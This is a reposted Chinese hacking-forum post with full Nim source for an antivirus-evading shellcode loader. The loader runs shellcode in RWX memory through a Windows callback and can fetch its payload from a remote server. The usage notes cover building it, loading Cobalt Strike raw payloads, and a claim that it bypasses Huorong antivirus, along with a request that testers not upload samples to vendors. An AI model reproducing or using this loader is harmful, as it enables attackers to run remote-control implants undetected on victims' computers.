|
原文链接:利用nim编写shellcode加载器bypass全家桶
首先本文首发在t00ls社区,作者shadowwolf
- import httpclient
- import streams
- import os
- import strutils
- import winim/lean
- import stew/byteutils
- import net
- proc shellcodeCallback(shellcode: openarray[byte]): void =
- echo "<li> T00ls.cc Nim-shellcode-loader shadowwolf"
- let CurrentProcess = GetCurrentProcessId()
- echo "<li> Target Process: ", CurrentProcess
- echo "<li> Length Of Shellcode: ", len(shellcode)
- echo "[+] Injecting!"
- discard """
- T00ls.cc 14454-shadowwolf
- """
- # Application for memory
- let rPtr = VirtualAlloc(
- nil,
- cast[SIZE_T](shellcode.len),
- MEM_COMMIT,
- PAGE_EXECUTE_READ_WRITE
- )
- # Copy Shellcode to the allocated memory section
- copyMem(rPtr,unsafeAddr shellcode,cast[SIZE_T](shellcode.len))
- # Callback execution
- EnumSystemGeoID(
- 16,
- 0,
- cast[GEO_ENUMPROC](rPtr)
- )
- proc RequestGet(url:string,header={"user-agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"}):string=
- type
- sslContext=ref object
- var
- client = newHttpClient(sslContext=newContext(verifyMode=CVerifyNone))
- RequestHeaders=newHttpHeaders(header)
- resp=client.request(url,headers=RequestHeaders)
- return resp.bodyStream.readAll().replace("\\x"," ").replace(",","").replace(" ","")
- #To get the shellcode on the website you put on
- proc GetShellcodeAndRun(para:string):void=
- if("http" in para):
- echo "<li> Get the shellcode on the website:"¶
- let resp=RequestGet(para)#Get the shellcode on your website
- var shellcode = newSeq[byte](len(resp) div 2)#calc the length
- hexToByteArray(resp, shellcode)#convert hex string into array
- shellcodeCallback(shellcode)#execute
- elif fileExists(para):
- echo "<li> Get the file:"¶
- var
- filename = para
- file: File
- file = open(filename, fmRead)
- var fileSize = file.getFileSize()
- var shellcode = newSeq[byte](fileSize)
- discard file.readBytes(shellcode, 0, fileSize)
- file.close()
- shellcodeCallback(shellcode)
- else:
- echo "<li> Get the string:"¶
- var hexstr: string = para
- var shellcode = newSeq[byte](len(hexstr) div 2)
- hexToByteArray(hexstr, shellcode)
- shellcodeCallback(shellcode)
- if paramCount()>=1:
- var para:string=paramStr(1)
- GetShellcodeAndRun(para)
复制代码
使用方法①可payload直接键入上线注意:除了加载bin文件是不用额外操作之外 其他的加载方式都需要把payload中的\x删去
 
②可加载bin文件上线
即cs里面生成的raw
 
③可请求远程服务器获取payload
 
也可以请求github/gitee获取payload 
注意:放在远程服务器上的必须是去掉\x的 如图所示:
 
- 查杀情况
- 过火绒,360全家桶没有试过 要试的哥哥不要开上传样本 谢谢啦
- 1.先装所需的库 nimble install https://gitee.com/oagi/winim.git
- 2.编译生成exe: nim c --cpu:i386 -d:mingw -d:ssl --opt:size shellcode_loader.nim
复制代码
|
|